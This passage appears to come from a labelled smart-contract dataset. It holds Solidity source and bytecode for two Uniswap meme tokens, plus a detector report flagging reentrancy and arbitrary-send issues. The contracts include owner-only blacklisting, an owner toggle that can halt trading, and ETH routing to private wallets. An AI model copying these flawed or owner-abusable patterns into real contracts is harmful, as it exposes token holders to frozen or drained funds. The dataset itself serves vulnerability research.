address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4250000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103c2578063c3c8cd8014610472578063c9567bf914610487578063d543dbeb1461049c578063dd62ed3e146104c657610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610374578063a9059cbb1461038957610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610501565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b038135169060200135610538565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b50610205610556565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a01b03813581169160208101359091169060400135610563565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105ea565b005b34801561029b57600080fd5b506102a4610663565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b50351515610668565b3480156102f257600080fd5b5061028d6106de565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b0316610712565b34801561033a57600080fd5b5061028d61077c565b34801561034f57600080fd5b5061035861081e565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b5061012e61082d565b34801561039557600080fd5b506101dc600480360360408110156103ac57600080fd5b506001600160a01b03813516906020013561084f565b3480156103ce57600080fd5b5061028d600480360360208110156103e557600080fd5b81019060208101813564010000000081111561040057600080fd5b82018360208201111561041257600080fd5b8035906020019184602083028401116401000000008311171561043457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610863945050505050565b34801561047e57600080fd5b5061028d610917565b34801561049357600080fd5b5061028d610954565b3480156104a857600080fd5b5061028d600480360360208110156104bf57600080fd5b5035610d48565b3480156104d257600080fd5b50610205600480360360408110156104e957600080fd5b506001600160a01b0381358116916020013516610e4d565b60408051808201909152601981527f446f6e205368696261f09f94abf09f95b6f09f92b0f09f969500000000000000602082015290565b600061054c610545610e78565b8484610e7c565b5060015b92915050565b683635c9adc5dea0000090565b6000610570848484610f68565b6105e08461057c610e78565b6105db85604051806060016040528060288152602001611fdf602891396001600160a01b038a166000908152600460205260408120906105ba610e78565b6001600160a01b03168152602081019190915260400160002054919061133e565b610e7c565b5060019392505050565b6105f2610e78565b6000546001600160a01b03908116911614610642576040805162461bcd60e51b81526020600482018190526024820152600080516020612007833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b610670610e78565b6000546001600160a01b039081169116146106c0576040805162461bcd60e51b81526020600482018190526024820152600080516020612007833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106f2610e78565b6001600160a01b03161461070557600080fd5b4761070f816113d5565b50565b6001600160a01b03811660009081526006602052604081205460ff161561075257506001600160a01b038116600090815260036020526040902054610777565b6001600160a01b0382166000908152600260205260409020546107749061145a565b90505b919050565b610784610e78565b6000546001600160a01b039081169116146107d4576040805162461bcd60e51b81526020600482018190526024820152600080516020612007833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b604080518082019091526008815267444f4e534849424160c01b602082015290565b600061054c61085c610e78565b8484610f68565b61086b610e78565b6000546001600160a01b039081169116146108bb576040805162461bcd60e51b81526020600482018190526024820152600080516020612007833981519152604482015290519081900360640190fd5b60005b8151811015610913576001600760008484815181106108d957fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016108be565b5050565b6010546001600160a01b031661092b610e78565b6001600160a01b03161461093e57600080fd5b600061094930610712565b905061070f816114ba565b61095c610e78565b6000546001600160a01b039081169116146109ac576040805162461bcd60e51b81526020600482018190526024820152600080516020612007833981519152604482015290519081900360640190fd5b601354600160a01b900460ff1615610a0b576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a549030906001600160a01b0316683635c9adc5dea00000610e7c565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8d57600080fd5b505afa158015610aa1573d6000803e3d6000fd5b505050506040513d6020811015610ab757600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610b0757600080fd5b505afa158015610b1b573d6000803e3d6000fd5b505050506040513d6020811015610b3157600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b8357600080fd5b505af1158015610b97573d6000803e3d6000fd5b505050506040513d6020811015610bad57600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610bdf81610712565b600080610bea61081e565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c5557600080fd5b505af1158015610c69573d6000803e3d6000fd5b50505050506040513d6060811015610c8057600080fd5b505060138054673afb087b8769000060145560ff60a01b1960ff60b81b1960ff60b01b19909216600160b01b1791909116600160b81b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610d1957600080fd5b505af1158015610d2d573d6000803e3d6000fd5b505050506040513d6020811015610d4357600080fd5b505050565b610d50610e78565b6000546001600160a01b03908116911614610da0576040805162461bcd60e51b81526020600482018190526024820152600080516020612007833981519152604482015290519081900360640190fd5b60008111610df5576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610e136064610e0d683635c9adc5dea0000084611688565b906116e1565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610ec15760405162461bcd60e51b81526004018080602001828103825260248152602001806120756024913960400191505060405180910390fd5b6001600160a01b038216610f065760405162461bcd60e51b8152600401808060200182810382526022815260200180611f9c6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610fad5760405162461bcd60e51b81526004018080602001828103825260258152602001806120506025913960400191505060405180910390fd5b6001600160a01b038216610ff25760405162461bcd60e51b8152600401808060200182810382526023815260200180611f4f6023913960400191505060405180910390fd5b600081116110315760405162461bcd60e51b81526004018080602001828103825260298152602001806120276029913960400191505060405180910390fd5b61103961081e565b6001600160a01b0316836001600160a01b031614158015611073575061105d61081e565b6001600160a01b0316826001600160a01b031614155b156112e157601354600160b81b900460ff161561116d576001600160a01b03831630148015906110ac57506001600160a01b0382163014155b80156110c657506012546001600160a01b03848116911614155b80156110e057506012546001600160a01b03838116911614155b1561116d576012546001600160a01b03166110f9610e78565b6001600160a01b0316148061112857506013546001600160a01b031661111d610e78565b6001600160a01b0316145b61116d576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60145481111561117c57600080fd5b6001600160a01b03831660009081526007602052604090205460ff161580156111be57506001600160a01b03821660009081526007602052604090205460ff16155b6111c757600080fd5b6013546001600160a01b0384811691161480156111f257506012546001600160a01b03838116911614155b801561121757506001600160a01b03821660009081526005602052604090205460ff16155b801561122c5750601354600160b81b900460ff165b15611274576001600160a01b038216600090815260086020526040902054421161125557600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061127f30610712565b601354909150600160a81b900460ff161580156112aa57506013546001600160a01b03858116911614155b80156112bf5750601354600160b01b900460ff165b156112df576112cd816114ba565b4780156112dd576112dd476113d5565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061132357506001600160a01b03831660009081526005602052604090205460ff165b1561132c575060005b61133884848484611723565b50505050565b600081848411156113cd5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561139257818101518382015260200161137a565b50505050905090810190601f1680156113bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc6113ef8360026116e1565b6040518115909202916000818181858888f19350505050158015611417573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114328360026116e1565b6040518115909202916000818181858888f19350505050158015610913573d6000803e3d6000fd5b6000600a5482111561149d5760405162461bcd60e51b815260040180806020018281038252602a815260200180611f72602a913960400191505060405180910390fd5b60006114a761183f565b90506114b383826116e1565b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106114fb57fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561154f57600080fd5b505afa158015611563573d6000803e3d6000fd5b505050506040513d602081101561157957600080fd5b505181518290600190811061158a57fe5b6001600160a01b0392831660209182029290920101526012546115b09130911684610e7c565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561163657818101518382015260200161161e565b505050509050019650505050505050600060405180830381600087803b15801561165f57600080fd5b505af1158015611673573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008261169757506000610550565b828202828482816116a457fe5b04146114b35760405162461bcd60e51b8152600401808060200182810382526021815260200180611fbe6021913960400191505060405180910390fd5b60006114b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611862565b80611730576117306118c7565b6001600160a01b03841660009081526006602052604090205460ff16801561177157506001600160a01b03831660009081526006602052604090205460ff16155b15611786576117818484846118f9565b611832565b6001600160a01b03841660009081526006602052604090205460ff161580156117c757506001600160a01b03831660009081526006602052604090205460ff165b156117d757611781848484611a1d565b6001600160a01b03841660009081526006602052604090205460ff16801561181757506001600160a01b03831660009081526006602052604090205460ff165b1561182757611781848484611ac6565b611832848484611b39565b8061133857611338611b7d565b600080600061184c611b8b565b909250905061185b82826116e1565b9250505090565b600081836118b15760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561139257818101518382015260200161137a565b5060008385816118bd57fe5b0495945050505050565b600c541580156118d75750600d54155b156118e1576118f7565b600c8054600e55600d8054600f55600091829055555b565b60008060008060008061190b87611d0a565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061193d9088611d67565b6001600160a01b038a1660009081526003602090815260408083209390935560029052205461196c9087611d67565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461199b9086611da9565b6001600160a01b0389166000908152600260205260409020556119bd81611e03565b6119c78483611e8b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611a2f87611d0a565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a619087611d67565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a979084611da9565b6001600160a01b03891660009081526003602090815260408083209390935560029052205461199b9086611da9565b600080600080600080611ad887611d0a565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611b0a9088611d67565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a619087611d67565b600080600080600080611b4b87611d0a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061196c9087611d67565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611cca57826002600060098481548110611bbb57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611c205750816003600060098481548110611bf957fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611c3e57600a54683635c9adc5dea0000094509450505050611d06565b611c7e6002600060098481548110611c5257fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d67565b9250611cc06003600060098481548110611c9457fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d67565b9150600101611b9f565b50600a54611ce190683635c9adc5dea000006116e1565b821015611d0057600a54683635c9adc5dea00000935093505050611d06565b90925090505b9091565b6000806000806000806000806000611d278a600c54600d54611eaf565b9250925092506000611d3761183f565b90506000806000611d4a8e878787611efe565b919e509c509a509598509396509194505050505091939550919395565b60006114b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061133e565b6000828201838110156114b3576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611e0d61183f565b90506000611e1b8383611688565b30600090815260026020526040902054909150611e389082611da9565b3060009081526002602090815260408083209390935560069052205460ff1615610d435730600090815260036020526040902054611e769084611da9565b30600090815260036020526040902055505050565b600a54611e989083611d67565b600a55600b54611ea89082611da9565b600b555050565b6000808080611ec36064610e0d8989611688565b90506000611ed66064610e0d8a89611688565b90506000611eee82611ee88b86611d67565b90611d67565b9992985090965090945050505050565b6000808080611f0d8886611688565b90506000611f1b8887611688565b90506000611f298888611688565b90506000611f3b82611ee88686611d67565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220837aec67ce5fff11103a58acbced39d889b2064c2a494362e6aba703dbbc71d764736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,275
0xF14bCd50f7f5EaB2FaD6f828E432F75d3caFC62e
/* bulmatoken.com https://t.me/bulmatoken */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Bulma is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Bulma"; string private constant _symbol = "BULMA"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 5; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xc24F3811B4f5f3Ba3D0b9B38bA3B9c197Ccf60dc); address payable private _marketingAddress = payable(0x74fC3f1570Ed70bA7cd9F95626db3009D8423a16); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000000000 * 10**9; uint256 public _maxWalletSize = 5000000000 * 10**9; uint256 public _swapTokensAtAmount = 3000000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; 